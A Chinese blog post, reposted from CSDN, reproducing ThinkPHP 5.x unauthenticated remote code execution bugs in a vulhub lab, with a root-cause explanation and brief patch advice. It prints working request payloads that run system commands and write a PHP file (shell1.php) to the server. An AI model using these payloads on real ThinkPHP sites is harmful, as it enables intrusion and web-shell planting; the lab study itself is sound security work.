ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞 - Go语言中文社区

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞


ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞

漏洞概述:

  • ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。

漏洞版本:

  • 5.0.x
  • 5.1.x
  • 5.2.x

漏洞搭建:

  • 利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d
  • 5.1.x之后,必须在本地搭建,vulhub未提供。
  • 如图所示搭建成功,走起!
  • 在这里插入图片描述

漏洞复现:

  • 分两个版本5.0.x和5.1.x、5.2.x,分别验证。

1.版本5.0.x

  • 将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
    -在这里插入图片描述

  • 成功执行命令

  • 针对于这个版本还有一个漏洞,主要由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的远程命令执行漏洞。

  • 远程执行命令payload(不唯一):s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  • 写文件payload(不唯一):?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i

  • 在这里插入图片描述
    在这里插入图片描述

2.版本5.1.x、5.2.x

  • 这两个版本现在用的很少,并且针对于这两个版本有点鸡肋,需要index.php文件中跳过报错提示。 语句:error_reporting(0);
  • Payload:a=system&b=whoami&_method=filter

在这里插入图片描述

漏洞修复:

  • 及时打补丁。
  • 前方道路坎坷,记得及时行乐。

总结:

  • 这两个版本的远程漏洞本质上都是变量覆盖漏洞,在一处存在缺陷的方法中没有对用户输入做严格判断,通过传递_method参数覆盖了配置文件的_method,导致可以访问Request类的任意函数,而在Request的构造函数中又创建了恶意的成员变量,导致后面的命令执行;而在5.1和5.2版本中则是直接覆盖过滤器,在忽略运行异常时可以触发漏洞,也是很棒棒,膜拜大佬!

ps:萌新一枚,余生很长,请多指教。
在这里插入图片描述

版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/csacs/article/details/86668057
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢